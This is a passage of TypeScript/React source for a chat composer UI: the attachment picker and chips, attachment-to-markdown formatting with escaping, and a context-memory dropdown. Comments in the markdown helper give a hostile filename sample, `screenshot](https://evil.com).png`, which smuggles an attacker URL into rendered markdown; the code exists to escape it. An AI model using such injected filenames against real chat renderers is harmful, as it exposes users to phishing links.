onValueChange={contextEnabled ? onValueChange : undefined}\n      hideBorder={contextEnabled}\n      // `+` lives INSIDE the input (start adornment, Figma 31:28275) and opens\n      // the single context dropdown directly. The picker is passed as the\n      // button's `dropdown` so it anchors to the `+`, not the input row.\n      startIcon={\n        contextEnabled ? (\n          <ChatComposerPlusMenu\n            onToggle={() => (contextPickerOpen ? onCloseContextPicker?.() : onOpenContextPicker?.())}\n            open={contextPickerOpen}\n            disabled={attachmentsDisabled}\n            dropdown={\n              contextPicker ? (\n                <ChatContextPicker\n                  open={contextPickerOpen}\n                  config={contextPicker}\n                  selectedItems={selected}\n                  onToggleItem={item => onToggleContextItem?.(item)}\n                  onClose={() => onCloseContextPicker?.()}\n                  mentionQuery={mentionQuery}\n                />\n              ) : undefined\n            }\n          />\n        ) : undefined\n      }\n    />\n  );\n\n  return (\n    <div\n      className=\"flex flex-shrink-0 flex-col gap-[var(--spacing-system-xxs)] px-[var(--spacing-system-m)] pb-[var(--spacing-system-xxs)]\"\n      // Tight `xxs` bottom padding (the model/usage row already sits just below\n      // the input); `max(…, safe-area-inset)` still clears the iOS home bar.\n      style={{\n        paddingBottom: 'max(var(--spacing-system-xxs), env(safe-area-inset-bottom))',\n      }}\n    >\n      <div>\n        <ChatFooter className=\"!p-0\" fullWidth>\n          {archived ? (\n            <div className=\"flex w-full items-center justify-center gap-[var(--spacing-system-xs)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-sf)]\">\n              <BoxArchiveIcon size={24} className=\"shrink-0 text-ods-text-secondary\" />\n              <p className=\"truncate text-ods-text-secondary text-h4\">Unarchive the chat to continue</p>\n            </div>\n          ) : contextEnabled ? (\n            // Unified card (Figma 1:6073 / 271:38656): the context-memory\n            // summary strip and the assigned-chip strip (both `bg-ods-bg`,\n            // `border-b`) stack flush above the input; the card owns the border\n            // / radius / focus ring. No `overflow-hidden` so the picker and the\n            // memory popover can float above the input (whichever strip comes\n            // first gets `rounded-t`).\n            // `has-[[data-editor]:focus]` (not `focus-within`) so the accent\n            // border reacts ONLY to the composer editor — not the picker's search\n            // input or item buttons, which also live inside this card. The editor\n            // is a `contentEditable` div (`data-editor`), not a `<textarea>`, so we\n            // target its data attribute rather than the element name.\n            <div className=\"rounded-md border border-ods-border bg-ods-card transition-colors has-[[data-editor]:focus]:border-ods-accent\">\n              {/* Ambient navigation-history context — always the same items, so\n                  it sits furthest from the textarea. Self-hides when empty. */}\n              <ChatContextMemoryBar\n                items={memory}\n                onRemove={onRemoveContextMemoryItem}\n                resolveIcon={resolveContextIcon}\n                disabled={sending}\n                className=\"rounded-t-md\"\n              />\n              {selected.length > 0 && (\n                <ChatContextChipStrip\n                  items={selected}\n                  onRemove={onRemoveContextItem}\n                  resolveIcon={resolveContextIcon}\n                  disabled={sending}\n                  className={cn(\n                    'border-b border-ods-border bg-ods-bg p-2',\n                    // Only the TOP strip rounds into the card corner.\n                    memory.length === 0 && 'rounded-t-md',\n                  )}\n                />\n              )}\n              {/* Picker is rendered inside the `+` button (its `dropdown` prop)\n                  so it anchors to the button, not this card. */}\n              {inputNode}\n            </div>\n          ) : (\n            inputNode\n          )}\n        </ChatFooter>\n      </div>\n\n      <div className=\"flex w-full items-center gap-2\">\n        {/* Legacy (Guide-mode, no context picker) inline attachment `+`. With the\n            context picker on, uploads live in the in-input `+` menu instead. */}\n        {!contextEnabled && showAttachmentButton && onAddFiles && (\n          <ChatAttachmentAddButton\n            attachmentsEnabled\n            attachmentsCount={attachmentsCount}\n            onAddFiles={onAddFiles}\n            disabled={attachmentsDisabled}\n          />\n        )}\n        <div className=\"min-w-0 flex-1\">\n          <ModelDisplay {...model} />\n        </div>\n      </div>\n    </div>\n  );\n}\n","'use client';\n// compact-size support added for the ticket-drawer reply composer.\n\nimport { useEffect, useMemo, useRef } from 'react';\n\n/**\n * Chat-attachment UI primitives.\n *\n * Split into two NAMED EXPORTS following 2026 chat-compose conventions\n * (Claude.ai / ChatGPT / Cursor / Linear AI / etc.):\n *\n *   1. `<ChatAttachmentChipStrip>` — the thumbnail strip with per-file\n *      progress / × remove. Renders ABOVE the textarea (only when\n *      chips exist). Visible to the user as a small horizontal row of\n *      file pills that disappears when they Send.\n *\n *   2. `<ChatAttachmentAddButton>` — the standalone `+` glyph.\n *      Renders INLINE in the bottom-controls row alongside the\n *      `ModelDisplay` (BELOW the textarea, 2026 pattern).\n *      `attachmentsEnabled` arrives as a prop — the hub wires the\n *      `useChatIdentity().attachmentsEnabled` boolean; embedders supply\n *      their own gate. Reserves layout space when disabled\n *      (visibility, not display) so the row's width doesn't jump\n *      when chat-identity resolves.\n *\n * UI principles applied:\n *   - Borderless icon-only `+` (Claude.ai compose-box style).\n *   - Chips strip floats above input, dismissible per-file via ×.\n *   - All colors via ODS tokens; NO hex anywhere.\n *   - NO `capture=\"environment\"` on the file input — iOS Safari would\n *     force camera-only mode and disable file picking.\n */\n\nimport { cn } from '../../utils/cn';\nimport { formatFileSize } from '../../utils/format';\nimport { PlusIcon } from '../icons-v2-generated/signs-and-symbols/plus-icon';\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon';\nimport { Button } from '../ui/button';\nimport { ANTHROPIC_SUPPORTED_IMAGE_MIME } from './utils/chat-attachment-markdown';\n\n/** Chip strip / chip density. `compact` shrinks the thumbnail, padding, text\n *  and max-width for narrow surfaces (e.g. the ticket-drawer reply composer);\n *  `default` is the global Ask-AI chat sizing. */\nexport type ChatAttachmentSize = 'default' | 'compact';\n\n// ===========================================================================\n// CONSTANTS & TYPES — inlined from hub `lib/config/chat-attachment-config.ts`\n// ===========================================================================\n\n/** Hand-curated chat-attachment allow-list. Intentionally excludes\n *  `image/svg+xml` for XSS safety. */\nexport const CHAT_ATTACHMENT_MIME_TYPES = [\n  'image/jpeg',\n  'image/png',\n  'image/webp',\n  'image/gif',\n  'video/mp4',\n  'video/webm',\n  'video/quicktime',\n] as const;\n\n/** Client-side cap on `addFiles` (the upload hook rejects 6+ files in a\n *  single selection). Server-side is per-IP-rate-limit; this is a UX\n *  hint more than a security boundary. */\nexport const CHAT_ATTACHMENT_CONCURRENT_UPLOADS_PER_USER = 5;\n\ntype Status = 'sniffing' | 'uploading' | 'ready' | 'error';\n\n/** Staged-attachment shape consumed by the chip strip. Mirrors the hub\n *  `StagedAttachment` produced by `useChatAttachments`. */\nexport interface StagedAttachment {\n  /** Stable client-side id; survives across re-renders. */\n  id: string;\n  file: File;\n  status: Status;\n  /** Set when `status === 'ready'`. Server-issued. */\n  storagePath?: string;\n  /** Set when `status === 'ready'`. Server-issued HMAC view token. */\n  viewToken?: string;\n  /** 0-100 during 'uploading'. */\n  progress: number;\n  /** Set when `status === 'error'`. */\n  errorMessage?: string;\n}\n\n// ===========================================================================\n// `+` ADD BUTTON — inline in the bottom-controls row (below input)\n// ===========================================================================\n\nexport interface ChatAttachmentAddButtonProps {\n  /** Auth-gate flag. Hub passes `useChatIdentity().attachmentsEnabled`;\n   *  embedders supply their own boolean. Disabled state collapses the\n   *  button to a layout-reserving invisible placeholder. */\n  attachmentsEnabled: boolean;\n  /** Current attachment count — drives the limit-reached disabled state. */\n  attachmentsCount: number;\n  onAddFiles: (files: FileList | File[]) => void;\n  /** External disable (e.g. while chat is streaming). */\n  disabled?: boolean;\n  /** Density. `compact` renders a smaller 24×24 button for narrow surfaces\n   *  (ticket-drawer composer); `default` is the 28×28 global-chat button. */\n  size?: ChatAttachmentSize;\n}\n\n/**\n * Settled `+` icon-only button for the bottom-controls row.\n *\n * LAYOUT STABILITY — first-paint placeholder pattern:\n *   `attachmentsEnabled` typically resolves ASYNCHRONOUSLY on mount\n *   (hub's `useChatIdentity()` round-trip ~100-500ms). When the flag is\n *   false (loading OR anon final state), the component renders an\n *   INVISIBLE placeholder `<span>` with the same `h-7 w-7 shrink-0`\n *   footprint as the real button. The placeholder reserves layout space\n *   from the very first paint; if `attachmentsEnabled` flips to `true`\n *   the button replaces the placeholder at the IDENTICAL 28×28\n *   position — ZERO shift.\n *\n *   Truly-anon users see the invisible 28×28 spacer permanently —\n *   acceptable trade-off vs the universal jump on every panel open.\n */\nexport function ChatAttachmentAddButton({\n  attachmentsEnabled,\n  attachmentsCount,\n  onAddFiles,\n  disabled = false,\n  size = 'default',\n}: ChatAttachmentAddButtonProps) {\n  const fileInputRef = useRef<HTMLInputElement | null>(null);\n  const compact = size === 'compact';\n  // Keep the placeholder footprint in lockstep with the real button size so\n  // there's zero layout shift when `attachmentsEnabled` resolves.\n  const boxClass = compact ? 'h-6 w-6' : 'h-7 w-7';\n\n  if (!attachmentsEnabled) {\n    return <span aria-hidden=\"true\" className={cn('inline-block shrink-0', boxClass)} />;\n  }\n\n  const slotsAvailable = Math.max(0, CHAT_ATTACHMENT_CONCURRENT_UPLOADS_PER_USER - attachmentsCount);\n  const canAddMore = slotsAvailable > 0 && !disabled;\n\n  const handlePick = () => {\n    if (!canAddMore) return;\n    fileInputRef.current?.click();\n  };\n\n  return (\n    <>\n      <input\n        ref={fileInputRef}\n        type=\"file\"\n        multiple\n        accept={CHAT_ATTACHMENT_MIME_TYPES.join(',')}\n        className=\"hidden\"\n        onChange={e => {\n          const input = e.target;\n          const files = input.files;\n          if (files && files.length > 0) {\n            onAddFiles(files);\n          }\n          // Reset so picking the same file twice in a row works\n          // (browsers don't refire change on identical selection).\n          input.value = '';\n        }}\n      />\n      <Button\n        type=\"button\"\n        variant=\"transparent\"\n        size=\"small\"\n        onClick={handlePick}\n        disabled={!canAddMore}\n        aria-label={canAddMore ? 'Add attachments' : 'Attachment limit reached'}\n        title={canAddMore ? 'Add attachments' : `Limit reached (${CHAT_ATTACHMENT_CONCURRENT_UPLOADS_PER_USER})`}\n        leftIcon={<PlusIcon className={compact ? 'h-3.5 w-3.5' : 'h-4 w-4'} />}\n        className={cn(\n          'shrink-0 !p-0 text-ods-text-muted hover:text-ods-text-primary',\n          compact ? '!h-6 !w-6' : '!h-7 !w-7',\n        )}\n      />\n    </>\n  );\n}\n\n// ===========================================================================\n// CHIP STRIP — above input, only when chips exist\n// ===========================================================================\n\nexport interface ChatAttachmentChipStripProps {\n  attachments: StagedAttachment[];\n  onRemove: (id: string) => void;\n  /** External disable (e.g. while chat is streaming). */\n  disabled?: boolean;\n  /** Density. `compact` (smaller thumbnail/padding/text, narrower chips) suits\n   *  narrow surfaces like the ticket-drawer reply composer; `default` is the\n   *  global Ask-AI chat sizing. */\n  size?: ChatAttachmentSize;\n}\n\n/**\n * Horizontal strip of file chips that appears ABOVE the input when one\n * or more attachments are staged. Returns `null` when empty — no\n * permanent UI footprint.\n */\nexport function ChatAttachmentChipStrip({\n  attachments,\n  onRemove,\n  disabled = false,\n  size = 'default',\n}: ChatAttachmentChipStripProps) {\n  if (attachments.length === 0) return null;\n  const compact = size === 'compact';\n  return (\n    <div className={cn('flex-shrink-0', compact ? 'px-3 pb-1.5' : 'px-5 pb-2')}>\n      <div className={cn('flex flex-wrap items-center', compact ? 'gap-1.5' : 'gap-2')}>\n        {attachments.map(att => (\n          <AttachmentChip\n            key={att.id}\n            attachment={att}\n            onRemove={() => onRemove(att.id)}\n            disabled={disabled}\n            size={size}\n          />\n        ))}\n      </div>\n    </div>\n  );\n}\n\n// ---------------------------------------------------------------------------\n// AttachmentChip — single row inside the chip strip\n// ---------------------------------------------------------------------------\n\ninterface AttachmentChipProps {\n  attachment: StagedAttachment;\n  onRemove: () => void;\n  disabled: boolean;\n  size?: ChatAttachmentSize;\n}\n\nfunction AttachmentChip({ attachment, onRemove, disabled, size = 'default' }: AttachmentChipProps) {\n  const { file, status, progress, errorMessage } = attachment;\n  const isImage = (ANTHROPIC_SUPPORTED_IMAGE_MIME as readonly string[]).includes(file.type);\n  const compact = size === 'compact';\n\n  // Inline thumbnail for images during STAGING (pre-upload-complete).\n  // Local `URL.createObjectURL` blob — the user sees their image\n  // immediately, no waiting on the upload to finish.\n  const blobUrl = useObjectUrl(isImage ? file : null);\n\n  return (\n    <div\n      className={cn(\n        'flex items-center rounded-md border border-ods-border bg-ods-card',\n        compact ? 'max-w-[180px] gap-1.5 px-1.5 py-1' : 'max-w-[240px] gap-2 px-2 py-1.5',\n      )}\n      role=\"group\"\n      aria-label={`Attachment ${file.name}`}\n    >\n      {/* Thumbnail OR file-type initials */}\n      <div className={cn('relative shrink-0 overflow-hidden rounded bg-ods-bg', compact ? 'h-6 w-6' : 'h-8 w-8')}>\n        {isImage && blobUrl ? (\n          //  cannot go through next/image; this is a transient pre-upload\n          //  preview, NOT the chat-history render path.\n          <img src={blobUrl} alt={file.name} className=\"h-full w-full object-cover\" />\n        ) : (\n          <div\n            className={cn(\n              'flex h-full w-full items-center justify-center font-mono uppercase text-ods-text-muted',\n              compact ? 'text-[9px]' : 'text-[10px]',\n            )}\n          >\n            {extLabel(file.name)}\n          </div>\n        )}\n        {/* Progress overlay during 'uploading' state */}\n        {status === 'uploading' && (\n          <div className=\"absolute inset-x-0 bottom-0 h-1 bg-ods-bg\">\n            <div className=\"h-full bg-ods-accent transition-[width]\" style={{ width: `${progress}%` }} />\n          </div>\n        )}\n      </div>\n\n      {/* Filename + status */}\n      <div className=\"min-w-0 flex-1\">\n        <div className=\"truncate text-ods-text-primary text-h6\" title={file.name}>\n          {file.name}\n        </div>\n        {/* Compact mode hides the size/status sub-line for ready files to keep the\n            chip to a single line; uploading/error states still surface. */}\n        {(!compact || status !== 'ready') && (\n          <div className=\"text-ods-text-muted text-h6\">\n            {status === 'sniffing' && 'Checking…'}\n            {status === 'uploading' && `${progress}% · ${formatFileSize(file.size)}`}\n            {status === 'ready' && formatFileSize(file.size)}\n            {status === 'error' && (\n              <span className=\"text-ods-error\" title={errorMessage}>\n                {errorMessage ?? 'Upload failed'}\n              </span>\n            )}\n          </div>\n        )}\n      </div>\n\n      {/* Remove button — UI-Kit Button with `transparent` + `small`. */}\n      <Button\n        type=\"button\"\n        variant=\"transparent\"\n        size=\"small\"\n        onClick={onRemove}\n        disabled={disabled}\n        aria-label={`Remove ${file.name}`}\n        leftIcon={<XmarkIcon className={compact ? 'h-3 w-3' : 'h-3.5 w-3.5'} />}\n        className={cn(\n          'shrink-0 !p-0 text-ods-text-muted hover:text-ods-text-primary',\n          compact ? '!h-4 !w-4' : '!h-5 !w-5',\n        )}\n      />\n    </div>\n  );\n}\n\n// ---------------------------------------------------------------------------\n// Helpers\n// ---------------------------------------------------------------------------\n\n// formatFileSize was previously inlined here as a copy of the hub's helper. It\n// now lives in `../../utils/format.ts` (lifted during the doc-viewer unification).\n// Imported at the top of this file.\n\nfunction extLabel(fileName: string): string {\n  const dot = fileName.lastIndexOf('.');\n  if (dot === -1 || dot === fileName.length - 1) return '?';\n  return fileName.slice(dot + 1, dot + 4).toLowerCase();\n}\n\n/** One blob URL per `File`, so a render React discards (StrictMode's double\n *  invoke, a suspended tree) reuses the allocation instead of leaking a fresh\n *  one. The entry is dropped again by the revoke below. */\nconst objectUrlByFile = new WeakMap<File, string>();\n\n/** Manage an `URL.createObjectURL` blob URL for the lifetime of the\n *  component. Returns null when `file` is null or during SSR.\n *  Revokes on unmount AND when `file` changes.\n *\n *  Allocated during render rather than published into state from an effect: the\n *  url is a pure function of the `File` (memoised per file above, so allocating\n *  it is idempotent), and holding it in state meant every newly attached file\n *  cost a second render pass and showed an empty preview tile in between. The\n *  effect is left owning only the revoke — the half that genuinely belongs to\n *  the commit lifecycle. */\nfunction useObjectUrl(file: File | null): string | null {\n  const url = useMemo(() => {\n    // `File` only ever exists after a user interaction, so this is null on the\n    // server AND on the hydration render — no mismatch.\n    if (!file || typeof window === 'undefined') return null;\n    let existing = objectUrlByFile.get(file);\n    if (!existing) {\n      existing = URL.createObjectURL(file);\n      objectUrlByFile.set(file, existing);\n    }\n    return existing;\n  }, [file]);\n\n  useEffect(() => {\n    if (!file || !url) return undefined;\n    return () => {\n      objectUrlByFile.delete(file);\n      URL.revokeObjectURL(url);\n    };\n  }, [file, url]);\n\n  return url;\n}\n","/**\n * Shared helper for the host-side markdown formatter ↔ server-side\n * parser pair. Single source of truth so the host-side build (chat\n * bubble render) and the server-side strip (LLM input cleanup) can\n * never drift.\n *\n * Lib-side replacement for the hub's `lib/utils/chat-attachment-markdown.ts`.\n * The hub file pulled its constants from `lib/config/chat-attachment-config`\n * + its `ChatAttachment` type from `lib/types/chat-attachment`. Both are\n * inlined here as lib-local constants/types — they're stable wire-format\n * contracts (the hub's view-route owns the prefix + token-param name; any\n * change is a coordinated migration).\n *\n * URL flavors at a glance:\n *   - HOST-SIDE (user-bubble render): uses the runtime's\n *     `attachmentViewUrlPrefix` (hub default = `/api/storage/view/chat-attachments/`).\n *     Embedded apps override per their reverse-proxy topology.\n *   - SERVER-SIDE (strip regex): uses the constant\n *     `CHAT_ATTACHMENT_VIEW_URL_PREFIX` directly. The chat ROUTE always\n *     runs on the hub, so it always strips on the hub default.\n *   - ANTHROPIC image-blocks: uses the RAW Supabase signed URL — NOT the\n *     proxy URL — because Anthropic's image fetcher doesn't reliably\n *     follow 302 redirects.\n *\n * Security gates inside the formatter:\n *   - Filename markdown chars escaped via `escapeMarkdownInline` so a\n *     name like `screenshot](https://evil.com).png` cannot terminate\n *     the markdown image early and embed an attacker-controlled URL.\n *   - `<` and `>` escaped too — prevents CommonMark autolink expansion\n *     for filenames containing URL-shaped text.\n */\n\n// ---------------------------------------------------------------------------\n// Lib-local constants + types (mirror the hub's chat-attachment-config /\n// chat-attachment.ts). These are wire-format contracts owned by the hub's\n// view route; embedders that want to override the prefix do so via\n// `ChatRuntime.endpoints.attachmentViewUrlPrefix`, not by changing these.\n// ---------------------------------------------------------------------------\n\n/** Hub-default prefix for the view-proxy URL. Embedders override via the\n *  runtime. The server-side strip regex always uses THIS value (server\n *  runs on the hub). */\nexport const CHAT_ATTACHMENT_VIEW_URL_PREFIX = '/api/storage/view/chat-attachments/';\n\n/** Query parameter name for the HMAC view token. */\nexport const CHAT_ATTACHMENT_VIEW_TOKEN_QUERY_PARAM = 't';\n\n/** Subset Anthropic's image content-block API supports. HEIC / video\n *  attachments fall through to the text-marker form so the LLM still sees\n *  a reference even when it can't visually parse the file. */\nexport const ANTHROPIC_SUPPORTED_IMAGE_MIME = ['image/jpeg', 'image/png', 'image/webp', 'image/gif'] as const;\n\n/**\n * Wire shape for a single chat attachment.\n *\n * `viewToken` is server-issued (HMAC-signed) and embedded in the markdown\n * URL's `?t=` query parameter. The client never generates it — the upload\n * route returns it alongside the storage path.\n */\nexport interface ChatAttachment {\n  storagePath: string;\n  viewToken: string;\n  contentType: string;\n  fileName: string;\n  size: number;\n}\n\n// ---------------------------------------------------------------------------\n// URL building\n// ---------------------------------------------------------------------------\n\n/**\n * Build the markdown view-URL for a chat attachment.\n *\n * `viewUrlPrefix` is parameterized (NOT pulled from the constant) so\n * host-side callers can pass the runtime's prefix\n * (`ChatRuntime.endpoints.attachmentViewUrlPrefix`) — embedded apps\n * supply an absolute URL against the hub's origin so chat-history\n * markdown works cross-origin.\n *\n * Server-side callers (the strip regex source) should pass\n * `CHAT_ATTACHMENT_VIEW_URL_PREFIX` directly.\n */\nexport function buildChatAttachmentViewUrl(viewUrlPrefix: string, storagePath: string, viewToken: string): string {\n  return `${viewUrlPrefix}${storagePath}?${CHAT_ATTACHMENT_VIEW_TOKEN_QUERY_PARAM}=${encodeURIComponent(viewToken)}`;\n}\n\n// ---------------------------------------------------------------------------\n// Markdown formatter\n// ---------------------------------------------------------------------------\n\n/**\n * Escape inline-markdown special characters from a filename before\n * interpolation. Closes the markdown-injection / phishing primitive:\n * a filename like `screenshot](https://evil.com).png` would otherwise\n * terminate `![filename](...)` early and emit an attacker-controlled\n * URL in the user's bubble.\n *\n * Escapes: `[`, `]`, `(`, `)`, `\\`, `\\n`, `\\r`, `<`, `>`, `\"`.\n */\nexport function escapeMarkdownInline(text: string): string {\n  return text.replace(/[[\\]()\\\\\\n\\r<>\"]/g, ch => {\n    switch (ch) {\n      case '\\n':\n        return ' ';\n      case '\\r':\n        return '';\n      default:\n        return `\\\\${ch}`;\n    }\n  });\n}\n\n/**\n * Format a single chat-attachment as a markdown line to append to the\n * user's bubble text BEFORE sending.\n *\n * Images (MIME in `ANTHROPIC_SUPPORTED_IMAGE_MIME`) emit the `![]()`\n * image form so the browser renders the attachment inline. Everything\n * else (HEIC, video, audio) emits the `[Attached: ...]` link form so the\n * bubble shows a clickable file pill instead of a broken-image icon.\n */\nexport function formatChatAttachmentMarkdownForBubble(att: ChatAttachment, viewUrlPrefix: string): string {\n  const safeName = escapeMarkdownInline(att.fileName);\n  const url = buildChatAttachmentViewUrl(viewUrlPrefix, att.storagePath, att.viewToken);\n  const isImage = (ANTHROPIC_SUPPORTED_IMAGE_MIME as readonly string[]).includes(att.contentType);\n  return isImage ? `\\n\\n![${safeName}](${url})` : `\\n\\n[Attached: ${safeName}](${url})`;\n}\n\n// ---------------------------------------------------------------------------\n// Server-side strip regex + parser\n// ---------------------------------------------------------------------------\n\n/**\n * Module-private: the `CHAT_ATTACHMENT_VIEW_URL_PREFIX` with regex\n * meta-characters escaped, so it can be safely interpolated into\n * regex sources. Computed ONCE at module load. Exported so other\n * regex-building call sites can share the same source of truth.\n */\nexport const CHAT_ATTACHMENT_VIEW_URL_PREFIX_REGEX_ESCAPED = CHAT_ATTACHMENT_VIEW_URL_PREFIX.replace(\n  /[.*+?^${}()|[\\]\\\\]/g,\n  '\\\\$&',\n);\n\n/**\n * Single anchored regex matching both the image (`![]()`) and link\n * (`[Attached: ...]`) forms keyed on the server-side prefix.\n *\n * `gm` flags — multi-line anchored so the regex matches per-line.\n * Non-chat markdown links/images stay untouched because the regex\n * requires the literal `/api/storage/view/chat-attachments/` prefix.\n */\nexport const CHAT_ATTACHMENT_MARKDOWN_PATTERN = new RegExp(\n  `^\\\\s*!?\\\\[[^\\\\]]*\\\\]\\\\(${CHAT_ATTACHMENT_VIEW_URL_PREFIX_REGEX_ESCAPED}[^)]+\\\\)\\\\s*$`,\n  'gm',\n);\n\n/**\n * Strip pre-embedded chat-attachment markdown lines from `text`.\n * Returns the cleaned text + the storage paths extracted from the\n * matched URLs.\n */\nexport function stripChatAttachmentMarkdown(text: string): {\n  stripped: string;\n  storagePaths: string[];\n} {\n  const storagePaths: string[] = [];\n  const pathExtract = new RegExp(`\\\\(${CHAT_ATTACHMENT_VIEW_URL_PREFIX_REGEX_ESCAPED}([^?)]+)`);\n  const stripped = text.replace(CHAT_ATTACHMENT_MARKDOWN_PATTERN, match => {\n    const m = match.match(pathExtract);\n    if (m && m[1]) storagePaths.push(m[1]);\n    return '';\n  });\n  return {\n    stripped: stripped.replace(/\\n{3,}/g, '\\n\\n').trim(),\n    storagePaths,\n  };\n}\n","'use client';\n\n/**\n * `<ChatContextMemoryBar>` — the composer's CONTEXT MEMORY strip\n * (Figma node 271:38656).\n *\n * A one-line summary row pinned to the top of the composer card (\"5 recently\n * viewed items in context\") with a `⋯` trigger that opens a dropdown listing\n * every remembered entity, each removable via its `×`.\n *\n * This is the AMBIENT half of the composer's context UI — the entities the host\n * accumulated from the user's navigation history and sends along with every\n * message — as opposed to `<ChatContextChipStrip>`, which shows the items the\n * user ASSIGNED to the message they're typing. Both sit above the input; memory\n * on top (passive, always the same items), assigned chips closest to the\n * textarea (active selection for this message).\n *\n * The lib owns only the chrome: items and removal are host-fed\n * (`EmbeddableChat`'s `contextMemory` prop), and lead glyphs come from the\n * picker's entity-type icon map via `resolveIcon`. Renders `null` when the host\n * has nothing remembered, so it has no permanent footprint.\n */\n\nimport type { ReactNode } from 'react';\nimport { useEffect, useRef, useState } from 'react';\nimport { cn } from '../../utils/cn';\nimport { Ellipsis01Icon } from '../icons-v2-generated/interface/ellipsis-01-icon';\nimport { XmarkCircleIcon } from '../icons-v2-generated/signs-and-symbols/xmark-circle-icon';\nimport { CONTEXT_ICON_CLASS, CONTEXT_LABEL_CLASS, CONTEXT_ROW_CLASS } from './context-items-list';\nimport type { ChatContextItem } from './types/context-item.types';\n\nconst itemKey = (item: { type: string; id: string }) => `${item.type}:${item.id}`;\n\nexport interface ChatContextMemoryBarProps {\n  /** Remembered entities, most-recent-first. Empty → the bar renders nothing. */\n  items: ChatContextItem[];\n  /** Drop one entity from the host's memory (dropdown row `×`). When omitted the\n   *  list is read-only. */\n  onRemove?: (item: ChatContextItem) => void;\n  /** Lead-glyph resolver — the composer passes its entity-type icon map, so the\n   *  rows match the picker and the assigned chips. */\n  resolveIcon?: (item: ChatContextItem) => ReactNode;\n  /** External disable (e.g. while a message is streaming). */\n  disabled?: boolean;\n  className?: string;\n}\n\nexport function ChatContextMemoryBar({\n  items,\n  onRemove,\n  resolveIcon,\n  disabled = false,\n  className,\n}: ChatContextMemoryBarProps) {\n  const [open, setOpen] = useState(false);\n  const rootRef = useRef<HTMLDivElement>(null);\n\n  // Removing the last remembered entity unmounts the bar; close first so a\n  // stale popover can't outlive its trigger. Closed while rendering, not from\n  // an effect — an effect runs AFTER the commit that already removed the\n  // trigger, which is exactly the frame this exists to prevent. Guarded on\n  // `open`, so the extra render pass takes the early exit.\n  if (items.length === 0 && open) setOpen(false);\n\n  // Outside-press close. Registered only while open. The root wraps BOTH the\n  // trigger and the popover, so a press on the `⋯` (inside root) is ignored here\n  // and handled by the button's own toggle.\n  //\n  // CAPTURE phase (the `true` 3rd arg): the chat lives inside a resizable drawer\n  // whose panel captures pointer events and whose composer sits on a\n  // `contentEditable`; a bubble-phase `document` listener can be pre-empted by\n  // an ancestor's `stopPropagation`, which is why a press outside the popover\n  // wasn't closing it. Capture runs top-down before any of that, so the handler\n  // always fires. `touchstart` covers tap-to-dismiss on touch devices.\n  useEffect(() => {\n    if (!open) return undefined;\n    const onOutside = (e: Event) => {\n      if (rootRef.current?.contains(e.target as Node)) return;\n      setOpen(false);\n    };\n    document.addEventListener('mousedown', onOutside, true);\n    document.addEventListener('touchstart', onOutside, true);\n    return () => {\n      document.removeEventListener('mousedown', onOutside, true);\n      document.removeEventListener('touchstart', onOutside, true);\n    };\n  }, [open]);\n\n  if (items.length === 0) return null;\n\n  return (\n    // `relative` anchors the popover to this strip; `bottom-full` floats it\n    // above, matching the context picker's placement over the input.\n    <div\n      ref={rootRef}\n      className={cn(\n        'relative flex items-center gap-[var(--spacing-system-xs)] border-b border-ods-border bg-ods-bg p-[var(--spacing-system-xs)]',\n        className,\n      )}\n      onKeyDown={e => {\n        if (e.key === 'Escape' && open) {\n          e.preventDefault();\n          setOpen(false);\n        }\n      }}\n    >\n      <p className=\"min-w-0 flex-1 truncate text-ods-text-secondary text-h6\">\n        {items.length} recently viewed {items.length === 1 ? 'item' : 'items'} in context\n      </p>\n\n      <button\n        type=\"button\"\n        aria-label=\"Show remembered context\"\n        aria-expanded={open}\n        title=\"Show remembered context\"\n        onClick={() => setOpen(o => !o)}\n        className={cn(\n          'flex size-4 shrink-0 items-center justify-center rounded outline-none transition-colors [&_svg]:size-4',\n          open ? 'text-ods-text-primary' : 'text-ods-text-secondary hover:text-ods-text-primary',\n          'focus-visible:text-ods-text-primary',\n        )}\n      >\n        <Ellipsis01Icon size={16} />\n      </button>\n\n      {open && (\n        <div\n          role=\"list\"\n          aria-label=\"Remembered context\"\n          // Mirrors `ChatContextPicker`'s popover chrome (border / card bg /\n          // shadow-md) and its scroll cap, so both dropdowns over the composer\n          // read as one component family.\n          className=\"absolute bottom-full right-0 z-50 mb-1 max-h-[min(340px,45vh)] w-[320px] max-w-[90vw] overflow-y-auto overscroll-contain rounded-md border border-ods-border bg-ods-card text-ods-text-primary shadow-md\"\n        >\n          {items.map(item => (\n            // Not a `<button>`: the row itself is inert (only the `×` acts), so\n            // the remove control isn't nested inside another button.\n            <div key={itemKey(item)} role=\"listitem\" className={CONTEXT_ROW_CLASS}>\n              {resolveIcon && <span className={CONTEXT_ICON_CLASS}>{resolveIcon(item)}</span>}\n              <span className={CONTEXT_LABEL_CLASS} title={item.label}>\n                {item.label}\n              </span>\n              {onRemove && (\n                <button\n                  type=\"button\"\n                  onClick={() => onRemove(item)}\n                  disabled={disabled}\n                  aria-label={`Remove ${item.label} from context`}\n                  className=\"flex size-4 shrink-0 items-center justify-center text-ods-text-secondary outline-none transition-colors hover:text-ods-text-primary focus-visible:text-ods-text-primary disabled:cursor-not-allowed disabled:opacity-40 md:size-6\"\n                >\n                  <XmarkCircleIcon className=\"size-4 shrink-0 md:size-6\" />\n                </button>\n              )}\n            </div>\n          ))}\n        </div>\n      )}\n    </div>\n  );\n}\n","'use client';\n\nimport React from 'react';\nimport { cn } from '../../utils/cn';\nimport { HoverCard, HoverCardContent, HoverCardTrigger } from '../hover-card';\nimport { AnthropicLogoGreyIcon, GeminiLogoGreyIcon, OpenaiLogoGreyIcon } from '../icons-v2-generated';\nimport { Skeleton } from '../ui/skeleton';\nimport type { ModelDisplayProps, ModelUsageBreakdown } from './types';\n\nconst getProviderIcon = (provider?: string) => {\n  if (!provider) return null;\n\n  const providerLower = provider.toLowerCase();\n\n  switch (providerLower) {\n    case 'anthropic':\n    case 'claude':\n      return <AnthropicLogoGreyIcon className=\"h-4 w-4\" />;\n    case 'openai':\n      return <OpenaiLogoGreyIcon size={16} color=\"currentColor\" />;\n    case 'google':\n    case 'gemini':\n    case 'google-gemini':\n    case 'google_gemini':\n      return <GeminiLogoGreyIcon size={16} />;\n    default:\n      return null;\n  }\n};\n\nconst formatTokenCount = (count: number): string => {\n  if (count >= 1_000_000) {\n    const val = count / 1_000_000;\n    return Number.isInteger(val) ? `${val}M` : `${val.toFixed(1)}M`;\n  }\n  if (count >= 1_000) {\n    const val = count / 1_000;\n    return Number.isInteger(val) ? `${val}K` : `${val.toFixed(1)}K`;\n  